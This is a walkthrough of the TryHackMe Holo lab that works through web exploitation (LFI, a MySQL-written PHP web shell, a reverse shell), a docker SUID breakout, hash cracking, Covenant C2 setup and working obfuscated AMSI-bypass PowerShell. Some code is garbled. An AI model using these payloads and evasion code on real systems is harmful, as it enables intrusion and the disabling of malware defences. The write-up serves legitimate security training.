TryHackMe >> HOLO

Table of Content


Welcome to Holo!

Holo is an Active Directory and Web Application attack lab that teaches core web attack vectors and advanced\obscure Active Directory attacks along with general red teaming methodology and concepts.

In this lab, you will learn and explore the following topics:

  • .NET basics
  • Web application exploitation
  • AV evasion
  • Whitelist and container escapes
  • Pivoting
  • Operating with a C2 (Command and Control) Framework
  • Post-Exploitation
  • Situational Awareness
  • Active Directory attacks

You will learn and exploit the following attacks and misconfigurations:

  • Misconfigured sub-domains
  • Local file Inclusion
  • Remote code execution
  • Docker containers
  • SUID binaries
  • Password resets
  • Client-side filters
  • AppLocker
  • Vulnerable DLLs
  • Net-NTLMv2 / SMB

Task 4 – Flag Submission – Flag Submission Panel


NMAP Initial

❯ nmap -sC -sV -v -p- -oN nmap_initial
Scanning 2 hosts [65535 ports/host]
Discovered open port 22/tcp on
Discovered open port 22/tcp on
Discovered open port 80/tcp on
❯ sudo nmap -sS -A -v -p- -oN nmap_33
# Nmap 7.92 scan initiated Fri Jan 21 19:35:19 2022 as: nmap -sS -A -v -p- -oN nmap_33
Nmap scan report for (
Host is up (0.31s latency).
Not shown: 65532 closed tcp ports (reset)
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 09:ac:8c:c0:66:5d:3f:70:ff:41:3a:ee:ea:7f:0d:1d (RSA)
|   256 99:83:eb:d1:1a:22:b0:e5:0a:e1:c8:49:0f:6f:43:64 (ECDSA)
|_  256 e3:0a:77:c1:51:74:e7:26:cc:d0:84:5a:15:55:a7:17 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to
| http-robots.txt: 21 disallowed entries (15 shown)
| /var/www/wordpress/index.php
| /var/www/wordpress/readme.html /var/www/wordpress/wp-activate.php
| /var/www/wordpress/wp-blog-header.php /var/www/wordpress/wp-config.php
| /var/www/wordpress/wp-content /var/www/wordpress/wp-includes
| /var/www/wordpress/wp-load.php /var/www/wordpress/wp-mail.php
| /var/www/wordpress/wp-signup.php /var/www/wordpress/xmlrpc.php
| /var/www/wordpress/license.txt /var/www/wordpress/upgrade
|_/var/www/wordpress/wp-admin /var/www/wordpress/wp-comments-post.php
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|_    HY000

Uptime guess: 27.394 days (since Sat Dec 25 10:53:33 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
1   311.86 ms
2   312.02 ms (

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Jan 21 20:20:50 2022 -- 1 IP address (1 host up) scanned in 2731.66 seconds

Task 9 – Web App Exploitation – Punk Rock 101 err Web App 101

Gobuster VHOST scan on

❯ gobuster vhost -u -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2022/01/21 16:20:15 Starting gobuster in VHOST enumeration mode
Found: (Status: 200) [Size: 7515]
Found: (Status: 200) [Size: 1845]
Found: (Status: 200) [Size: 21405]
Found: (Status: 400) [Size: 422]
Found: (Status: 400) [Size: 422]

Task 10 – Web App Exploitation – What the Fuzz?

LOOT >> robots.txt on www
User-Agent: *
Disallow: /var/www/wordpress/index.php
Disallow: /var/www/wordpress/readme.html
Disallow: /var/www/wordpress/wp-activate.php
Disallow: /var/www/wordpress/wp-blog-header.php
Disallow: /var/www/wordpress/wp-config.php
Disallow: /var/www/wordpress/wp-content
Disallow: /var/www/wordpress/wp-includes
Disallow: /var/www/wordpress/wp-load.php
Disallow: /var/www/wordpress/wp-mail.php
Disallow: /var/www/wordpress/wp-signup.php
Disallow: /var/www/wordpress/xmlrpc.php
Disallow: /var/www/wordpress/license.txt
Disallow: /var/www/wordpress/upgrade
Disallow: /var/www/wordpress/wp-admin
Disallow: /var/www/wordpress/wp-comments-post.php
Disallow: /var/www/wordpress/wp-config-sample.php
Disallow: /var/www/wordpress/wp-cron.php
Disallow: /var/www/wordpress/wp-links-opml.php
Disallow: /var/www/wordpress/wp-login.php
Disallow: /var/www/wordpress/wp-settings.php
Disallow: /var/www/wordpress/wp-trackback.php

ENUM >> img.php found on

❯ curl -v ""
*   Trying
* Connected to ( port 80 (#0)
> GET /img.php?fil HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 21 Jan 2022 08:40:10 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 982
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
LOOT >> robots.txt on
User-agent: *
Disallow: /var/www/admin/db.php
Disallow: /var/www/admin/dashboard.php
Disallow: /var/www/admin/supersecretdir/creds.txt

Task 12 – Web App Exploitation – What is this? Vulnversity?

LOOT >> LFI to read /var/www/admin/supersecretdir/creds.txt
❯ curl -v ""
*   Trying
* Connected to ( port 80 (#0)
> GET /img.php?fil HTTP/1.1
> Host:
> User-Agent: curl/7.74.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 21 Jan 2022 08:41:00 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 93
I know you forget things, so I'm leaving this note for you:
- gurag <3

Task 13 – Web App Exploitation – Remote Control Empanadas

ENUM >> RCE found! – dashboard.php on

Task 15 – Situational Awareness – Docker? I hardly even know her!

Task 16 – Situational Awareness – Living off the LANd

import socket
host = ""
portList = [21,22,53,80,443,3306,8443,8080]
for port in portList:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  print("Port ", port, " is open")
  print("Port ", port, " is closed")
www-data@7f4902d04e25:/tmp$ ./
Port  21  is closed
Port  22  is open
Port  53  is closed
Port  80  is open
Port  443  is closed
Port  3306  is open
Port  8443  is closed
Port  8080  is open

Task 16 – Situational Awareness – Dorkus Storkus – Protector of the Database

LOOT >> db_connect.php found in /var/www/admin

define('DB_SRV', '');
define('DB_PASSWD', "<REDACTED>");
define('DB_USER', '<REDACTED>');
define('DB_NAME', 'DashboardDB');

$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($connection == false){

        die("Error: Connection to Database could not be made." . mysqli_connect_error());

ENUM >> MySQL server on

www-data@739eb495c6aa:/var/www/admin$ mysql -u admin -p -h
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.22-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
| Database           |
| DashboardDB        |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
5 rows in set (0.00 sec)

mysql> use DashboardDB;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
| Tables_in_DashboardDB |
| users                 |
1 row in set (0.01 sec)

mysql> show columns from users;
| Field    | Type         | Null | Key | Default | Extra |
| username | varchar(256) | YES  |     | NULL    |       |
| password | varchar(256) | YES  |     | NULL    |       |
2 rows in set (0.00 sec)

mysql> select * from users;
| username | password        |
| gurag    | AAAA            |
2 rows in set (0.00 sec)

Task 18 – Situational Awareness – Making Thin Lizzy Proud

mysql> select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/sh.php';
Query OK, 1 row affected (0.00 sec)
www-data@739eb495c6aa:/var/www/admin$ curl -v ""
*   Trying
* Connected to ( port 8080 (#0)
> GET /sh.php?cmd=whoami HTTP/1.1
> Host:
> User-Agent: curl/7.58.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Fri, 21 Jan 2022 11:29:29 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 9
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host left intact

Task 19 – Situational Awareness – Going%20out%20with%20a%20SHEBANG%21

PRIVESC >> Docker breakout to

www-data@739eb495c6aa:/var/www/admin$ curl -v ""
*   Trying
* Connected to ( port 8080 (#0)
> GET /sh.php? HTTP/1.1
> Host:
> User-Agent: curl/7.58.0
> Accept: */*
❯ nc -lnvp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 39190
bash: cannot set terminal process group (2226): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-200-110-33:/var/www/html$ cd ..
www-data@ip-10-200-110-33:/var/www$ cat user.txt

Task 20 – Privilege Escalation – Call me Mario, because I got all the bits

PRIVESC >> docker has SUID

www-data@ip-10-200-110-33:/tmp$ /usr/bin/docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh
# whoami
# cd /root
# cat root.txt

Task 21 – Privilege Escalation – From the Shadows

LOOT >> /etc/shadow

Task 22 – Privilege Escalation – Crack all the Things

Session..........: hashcat
Status...........: Running
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: /root/.hashcat/hashes/shadow.hash
Time.Started.....: Sat Jan 22 01:40:10 2022 (4 mins, 45 secs)
Time.Estimated...: Sat Jan 22 01:54:33 2022 (9 mins, 38 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/content/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    33279 H/s (413.58ms) @ Accel:1024 Loops:512 Thr:128 Vec:1
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 9437184/28688768 (32.90%)
Rejected.........: 0/9437184 (0.00%)
Restore.Point....: 4718592/14344384 (32.90%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:2048-2560
Candidate.Engine.: Device Generator
Candidates.#1....: pequeñasabandija -> p3KeSn
Hardware.Mon.#1..: Temp: 77c Util:100% Core:1125MHz Mem:5000MHz Bus:16


Task 23 – Pivoting – Digging a tunnel to nowhere

  • This subject is well covered in TryHackMe >> Wreath (Tasks 8-16) so I will not re-focus on it here.

Task 24 – Command and Control – Command your Foes and Control your Friends

The C2 we will be using in this room will be Covenant

Covenant Installation

Task 24 – Command and Control – Bug on the Wire

Covenant Listeners

The first step in operating with Covenant is to create a listener. Listeners are built off profiles; you can think of profiles like HTTP requests/pages that will serve as the channel that will handle all C2 traffic. There are four default profiles that Covenant comes with, outlined below.

  • CustomHttpProfile – Custom profile that does not require any cookies.
  • DefaultBridgeProfile – Default profile for a C2 bridge.
  • DefaultHttpProfile – Default HTTP profile.
  • TCPBridgeProfile – Default TCP profile for a C2 bridge.

Covenant offers an easy way of editing the listeners along with a GUI. There are many parameters present; we will only be going over a quick overview of each parameter outlined below.

  • Name – Name of profile to be used throughout the interface.
  • Description – Description of profile and its use cases.
  • MessageTransform – Specify how data will be transformed before being placed in other parameters. 
  • HttpUrls – list of URLs the grunt can callback to.
  • HttpRequestHeaders – List of header pairs (name/value) that will be sent with every HTTP request.
  • HttpResponseHeaders – List of header pairs (name/value) that will be sent with every HTTP response.
  • HttpPostRequest – Format of data when a grunt posts data back to the profile.
  • HttpGetResponse – HTTP response when a grunt GETs data to the listener.
  • HttpPostResponse – HTTP response when a grunt POSTs data to the listener.

To create a listener, navigate to the Listeners tab from the side menu and select Create Listener.

You will see several options to edit; each option is outlined below.

  • Name – (optional) will help to identify different listeners.
  • BindAddress – Local address listener will bind on, usually
  • BindPort – Local port listener will bind on.
  • ConnectPort – Port to callback to, suggested to set to 80, 8080, or 8888.
  • ConnectAddresses – Addresses for the listener to callback to, hostname portion of the URL.
  • URLs – Callback URLs the grunt will be connected directly back to.
  • UseSSL – Determines whether or not the listener uses HTTP or HTTPS.
  • SSLCertificate – Certificate used by the listener if SSL is set to true.
  • SSLCertificatePassword – Password being used by the SSLCertificate.
  • HttpProfile – Profile used by the listener and grunt to determine communication behavior.

To create a basic listener for this network we only suggest editing the Name, ConnectPort, and ConnectAddresses

Task 25 – Command and Control – The Blood Oath

Covenant Launchers

From the Covenant GitHub, "Launchers are used to generate, host, and download binaries, scripts, and one-liners to launch new Grunts."

There are ten different launchers to choose from within Covenant, each launcher will have its requirements, and some may not be supported on modern operating systems. Launcher types are outlined below.

There are several options for each launcher, with some launchers having specific options. For this task, we will be focusing on the binary launcher and its options. The configuration options are outlined below.

  • Listener – Listener the grunt will communicate with.
  • ImplantTemplate – Type of implant launcher will use.
  • DotNetVersion – .NET version launcher will use, dependent on ImplantTemplate.
  • Delay – Time grunt will sleep in-between callbacks. A larger delay can aid in stealthy communications.
  • JitterPercent – Percent of variability in Delay.
  • ConnectAttempts – Amount of times grunt will attempt to connect back to the server before quitting.
  • KillDate – Date specified grunt will quit and stop calling back.

To create a basic launcher for this network, we only suggest editing the Listener and ImplantTemplate

Task 25 – Command and Control – We ran out of Halo and YAML references…

Covenant Tasks

This task attempts to show how to build a basic task and then seems to be missing most the instructions on how to include SharpEDRChecker. Because of this, I have written the basic steps below, and rather than create a Task YAML file manually, we will use Covenant to create it via the frontend.

  • Git clone SharpEDRChecker into /opt/Covenant/Covenant/Data/ReferenceSourceLibrariescd /opt/Covenant/Covenant/Data/ReferenceSourceLibraries && sudo git clone
  • Go to Tasks -> Reference Source Libraries and press + Create
  • Enter in the data as in the screenshot below:

NOTE: you may have issues when selecting the ReferenceAssemblies – even if I selected all 8, when I click the Edit button to update it would not save them all, just keep selecting them and hitting Edit to save until all 8 are selected.

  • The ReferenceAssemblies you need are (ticked only, not necessarily in the order below):

Task 28 – Web App Exploitation – Hide yo’ Kids, Hide yo’ Wives, Hide yo’ Tokens

  • On click the Reset password button

  • Enter gurag as the username and press the Reset button

  • (Using Firefox) – go to Developer Tools -> Networking and click on the line starting with password_reset.php – click on the Cookies tab and under the Response Cookies section you will find the token named user_token – copy the contents of user_token to your clipboard

  • Paste the user_token contents at the end of the address bar after user_token= and hit Enter

  • On the next screen, ensure that the username states gurag and hit the Update button… you do not need to set a password

  • Success! We get a flag, and now we have a useable login for gurag

NOTE: to get the size of the cookie, in Developer Tools (FireFox) go to Storage -> Cookies -> (S-SRV01 URL) and look at the size column

Task 30 – AV Evasion – Basically a joke itself…

TryHackMe >> Wreath had a decent explanation of AV Evasion… but zero methods, where as this room covers it in practical ways… because of this, the next few sections will be covered in more detail, but for an explanation of AV Evasion go visit TryHackMe >> Wreath, or even read explanations in the room itself.

Although most the information in the AV Evasion tasks will be simply copy-paste from the room itself, I will keep it to the basics.

Anti-Malware Scan Interface (AMSI)

The Anti-Malware Scan Interface (AMSI) is a PowerShell security feature that will allow any applications or services to integrate into antimalware products. AMSI will scan payloads and scripts before execution inside of the runtime. From Microsoft, "The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads."

For more information about AMSI, check out the Windows docs,

Find an example of how data flows inside of Windows security features below.

AMSI will send different response codes based on the results of its scans. Find a list of response codes from AMSI below:


AMSI is fully integrated into the following Windows components:

  • User Account Control, or UAC
  • PowerShell
  • Windows Script Host (wscript and cscript)
  • JavaScript and VBScript
  • Office VBA macros

AMSI is instrumented in both System.Management.Automation.dll and within the CLR itself. When inside the CLR, it is assumed that Defender is already being instrumented; this means AMSI will only be called when loaded from memory.

Task 31 – AV Evasion – THEY WONT SEE ME IF I YELL!

Bypassing AMSI

There are a large number of bypasses for AMSI available, a majority written in PowerShell and C#. Find a list of common bypasses below.

For more information about the variety of bypasses available, check out this GitHub repo,

The method we will be looking at is patching amsi.dll written in PowerShell. This bypass is modified by BC-Security inspired by Tal Liberman, RastaMouse also has a similar bypass written in C# that uses the same technique, .The bypass will identify DLL locations and modify memory permissions to return undetected AMSI response values.

AMSI bypass – amsi.dll patching
$MethodDefinition = "  

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);  

    public static extern IntPtr GetModuleHandle(string lpModuleName);  

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);  

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;  
$ABSD = 'AmsiS'+'canBuffer';  
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');  
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);  
[UInt32]$Size = 0x5;  
[UInt32]$ProtectFlag = 0x40;  
[UInt32]$OldProtectFlag = 0;  
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);  
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);   

[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Code breakdown
  • The first section of code lines 3 – 10 will use C# to call-in functions from Kernel32 to identify where amsi.dll has been loaded.
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);   

public static extern IntPtr GetModuleHandle(string lpModuleName);  

public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
  • Once the C# functions are called in, the code will use Add-type to load the C# and identify the AmsiScanBuffer string in lines 13 – 16. This string can be used to determine where amsi.dll has been loaded and the address location using GetProcAddress.
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;  
$ABSD = 'AmsiS'+'canBuffer';  
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');  
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
  • The next section of code lines 17 – 23 will modify memory permissions and patch amsi.dll to return a specified value.
[UInt32]$Size = 0x5;  
[UInt32]$Size = 0x5;  
[UInt32]$OldProtectFlag = 0;  
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);  
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);  [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Further reading

For more information about AMSI bypasses, check out the following resources.

Task 32 – AV Evasion – AMSIception

Obfuscating AMSI bypass code

Generally, AMSI is only looking for weak strings for AMSI bypasses such as AmsiScanBuffer, amsiInitFailed, AmsiUtils, etc. This is where string concatenation can come into play and aid in breaking these string signatures. As EDR solutions and products progress, these signatures and methods may become more robust. Still, these identical signatures have been prevalent for a reasonable amount of time and aren’t expected to be changing any time soon for non-commercial products.

To aid in our obfuscation efforts, we will use the AMSITrigger script –, written by RythmStick. This script will take a given PowerShell script and each unique string within it against AMSI to identify what strings are being used to flag the script as malicious. This will only test against AMSI and not Defender; we will go over obfuscating for Defender in a later task; however, for this task, we only need to worry about AMSI since everything is file-less (mostly).

AMSI will also utilize regex to aggregate risk assessment; this means that no one individual string might be flagged rather an entire code block. This can be painful for us to obfuscate and require other techniques like encoding, type acceleration, and run-time decoding.

To use AMSITrigger, we only need to specify two parameters, -u, —url or -i, —inputfile and -f, —format. Find example syntax below.

Syntax: .\\AMSITrigger.exe -u <URL> -f 1 or .\\AMSITrigger.exe -i <file> -f 1

  • Above is the output from AMSITrigger.exe on the script from the previous task… you can also use -f 3 to visualize where the bad code block is within the source code

String Concatenation

The first method of manual obfuscation we will look at is string concatenation.

There are several various methods of string concatenation and other techniques that we can use to break signatures. Find an outline of the different methods below.

  • Concatenate – ('co'+'ffe'+'e')
  • Reorder – ('{1}{0}'-f'ffee','co')
  • Whitespace – ( 'co' +'fee' + 'e')

String manipulation usually will help break single-string weak signatures; as previously explained, AMSI can also use regex to aggregate risk assessment. We will need to use more advanced techniques like encoding and type acceleration in regex signatures found below.

Type Acceleration

The second method of manual obfuscation we will look at is type acceleration. From the Microsoft documentation, "Type accelerators are aliases for .NET framework classes. They allow you to access specific .NET framework classes without having to type the full class name explicitly. For example, you can shorten the AliasAttribute class from [System.Management.Automation.AliasAttribute] to [Alias]."

We can abuse type accelerators to modify malicious types and break the signatures of types. For example, you can use PowerShell to create your own PSObject and type accelerator to be used in place of the malicious type and, in turn, break the AMSI signature.

This may seem like an intimidating topic at first, but we can break it down into two lines of code to make it easier to understand.

  • To create a type accelerator, we will need to first declare a PSObject in Assembly to retrieve the type.


  • We will then need to add our malicious type to System.Management.Automation.TypeAccelerators. This will allow us to use the type accelerator as a separate type from the malicious type. Find example code below.

("System.Management.Automation.TypeAccelerators")::Add('dorkstork', [system.runtime.interopservices.marshal])

  • We can combine these two code snippets to create a final PSObject containing the newly created type.

[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('dorsktork', [system.runtime.interopservices.marshal])

  • We can then replace the PSObject at the location of the malicious type. Find a comparison of the new and old code below.

Old: [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

New: [dorkstork]::copy($buf, 0, $BufferAddress, 6);

Now we have a newly created type accelerator that will break the signature attached to it.

For more information about creating type accelerators within PowerShell, check out this blog,

Obfuscated amsi_bypass.ps1
$MethodDefinition = "

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    public static extern IntPtr GetModuleHandle(string lpModuleName);

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); 
[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('d1kst1k', [system.runtime.interopservices.marshal])
[d1kst1k]::copy($buf, 0, $BufferAddress, 6);4

Further Reading…

For more information about manual obfuscation and AMSI obfuscation, check out the following resources.

Task 33 – AV Evasion – JU57 0BFU$C47E 1T

Obfuscating AMSI bypass code

Invoke-Obfuscation ( is a utility built by Daniel Bohannon and Cobbr. It is used to take a series of arguments/obfuscation tokens and automatically obfuscate provided code. From their GitHub, "Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator.". Red teamers can use obfuscation to make reverse engineering/analysis harder and, in some cases, bypass anti-virus and other detections.

Invoke-Obfuscation syntax can seem very large and scary at first if you don’t understand how it breaks down the obfuscation tokens. We can follow along with this guide created by the author of Invoke-Obfuscation to get familiar with the syntax –

To begin our obfuscation attempts, we will need to set the script block or the payload we want to obfuscate and then specify tokens to use. Invoke-Obfuscation offers both an argument parsing command-line tool as well as a friendly CLI. For our purposes, we will be using the command line. We will only be covering an example of using a token to bypass anti-virus, creating a token command, and the various use cases are out of scope for this task.

Below is the command we will use to obfuscate our payload. The token command used at the time of writing will bypass anti-virus for some payloads or tools. We will be breaking this command down later in this task.

Invoke-Obfuscation -ScriptPath C:\Path\To\powershell_script.ps1 -Command 'Token\\String\\1,2,Token\\Variable\\1,Token\\Whitespace\\1' -Quiet -NoExit

To break it down:

  • -ScriptPath points to the PowerShell script to obfuscate

    • -ScriptBlock {'<PAYLOAD>'} will also work for obfuscating scripts or commands directly
  • -Command is where we string together our obfuscation commands:

    • Token\\String\\1 relates to the first string obfuscation under the token section… it simply concatenates the string. Below is a screenshot of the output of STRING in the CLI:

    • 2 relates to the 2nd option in the screenshot above, Reorder – if you do not supply the full ‘path’ to next obfuscation command (e.g. Token\\String\\2) it will append the path from the previous command depending on what is missing…

    • Token\\Variable\\1 relates to the 1st VARIABLE type of TOKEN, and will . As mentioned above, since we left off Token\\ it has appeneded it from the previous command:

    • Token\\Whitespace\\1 adds random whitespaces between the concatenation:

  • -Quiet simply makes the output less verbose

  • -NoExit ensures that you don’t exit from Invoke-Obfuscation‘s CLI after it has obfuscated the code to your liking.

Further Obfuscated amsi_bypass.ps1
${methODdEf<code>iNITion} =   ('
' + '
 ' + ' '+' ' +  ' ' +  ("[DllImport("kernel32")]
 "+  '') +  ' '+' '  +  ' ' +  'p'  + (  "{1}{0}"-f 'ic ','ubl' ) +  'st'+ ( "{1}{0}" -f'c ','ati') +(  "{0}{1}"-f 'ext','ern' ) +' '+  'Int' + ( "{0}{1}"-f 'P','tr ' )  + ("{0}{1}"-f 'G','etPr'  )+'oc' +'Ad'+  'dre'+  's'+  's'+( ( ("{2}{0}{1}"-f'r',' ','(IntPt' )  )) +  (  "{1}{0}"-f 'od','hM'  )+ ("{1}{0}" -f'e,','ul')  +' '+  ("{1}{0}" -f 'tri','s')  +'n','am','ro' +'cN' + ((( "{1}{0}{2}"-f 'e);
') ) )  + '
'+' '+' ' + ' '  + ' '  +  (  "[DllImport("kernel32")]
 " + ''  )+ ' '+ ' ' +' '+  'pu'+'b' +  ("{0}{1}" -f'lic',' ' )+'st'  +  ( "{1}{0}"-f 'c ','ati')+'ext' +'er' +'n '+ 'In'  +  (  "{0}{1}" -f'tP','tr '  )  + ("{1}{0}" -f'ule','GetMod'  )+ (  "{0}{1}"-f'Ha','ndl'  )+  'e(s' +("{1}{0}"-f'ng','tri' )+' '  + 'lpM' +( "{0}{1}"-f 'odu','leN' ) + 'a' +  'm'  +  'e'+  (  (( "{1}{2}{0}"-f'
')  )) + ' '  +' '+' '  +  ( "[DllImport("kernel32")]
 "+''  )  + ' '+' '+' '+  'pub'+  ("{0}{1}" -f 'lic',' ' ) + 'sta'  +("{1}{0}" -f ' ','tic'  )+'ex'+ (  "{0}{1}"-f'ter','n ' ) +  'b'+(  "{0}{1}"-f'o','ol '  )  +(  "{1}{0}" -f'u','Virt' ) +'al'  +  (  "{2}{0}{1}"-f'ot','ec','Pr')+ ((  ( "{1}{0}" -f 'IntP','t('  )) ) + 'tr '  +( "{0}{2}{1}"-f'lpA','es','ddr') +'s,'  + ' '+'U'  +( "{0}{1}"-f'In','tP'  )+ 'tr '+'d' +("{0}{1}" -f 'wSiz','e,' )+  ' ' +'u' +( "{0}{1}"-f 'int',' ')  + 'f'+ (  "{2}{1}{0}" -f'ot','Pr','lNew'  ) +  ("{1}{0}"-f',','ect') + ' '  +'out'  + ' '+  'uin'+ 't '+  'l'+  (  "{0}{1}" -f 'pflO','ldP' )  +  ( (  ( "{1}{0}{2}"-f 'ect)','rot',';') )  )  +'
'  )  ;

${keRNEl32}  =   Add-Type -MemberDefinition ${METhODdEfINI`TioN} -Name ('K'+ 'ern' +( "{1}{0}" -f'2','el3')  ) -NameSpace (("{0}{1}" -f'Win','3' )+ '2' ) -PassThru  ;
${a`BSd}  =   (  'Ams'+'iS'  ) + (  'ca'+'nB' +  ( "{0}{1}"-f'uffe','r'  )  );
${HAnDLe}   =  [Win32.Kernel32]::GetModuleHandle( (  'a'+( "{2}{0}{1}"-f '.d','ll','msi'  )) );
[IntPtr]${BufFErADDREss} = [Win32.Kernel32]::GetProcAddress( ${HANdle}, ${Ab`SD}) ;
[UInt32]${S`iZE}  = 0x5;
[UInt32]${pROTECTFlAg}   =   0x40;
[UInt32]${oldpROTEcTFlAg}  =  0;
[Win32.Kernel32]::VirtualProtect( ${BuFFerADDreSS}, ${SizE}, ${prOTeCTFLAg}, [Ref]${oLdproTEC`TFlag}  ) ;
${b`Uf}  =  [Byte[]]( [UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3  ) ;
[PSObject].Assembly.GetType( ( ("{1}{0}"-f'st','Sy'  ) +'em'+'.Ma' +  ("{0}{1}"-f'nage','m'  )+ 'ent'  +'.A' +'uto' +("{0}{1}" -f 'mation.T','y')  +'p'+'eA'  + 'cc'+  'e'  +  ("{0}{1}" -f'l','era' )+  ( "{1}{0}" -f's','tor'  )  )  )::Add(  ((  "{0}{1}"-f 'd','1ks')+'t1k' ), [system.runtime.interopservices.marshal]  )
[d1kst1k]::copy(  ${BUf}, 0, ${bUffeRAdDR`Ess}, 6)  ; 4

Task 34 – AV Evasion – ‘Ca’ + ‘n’ + ‘you’ + ‘ ‘ + ‘see’ + ‘me now’ + ‘?’

Bypassing Defender and AV

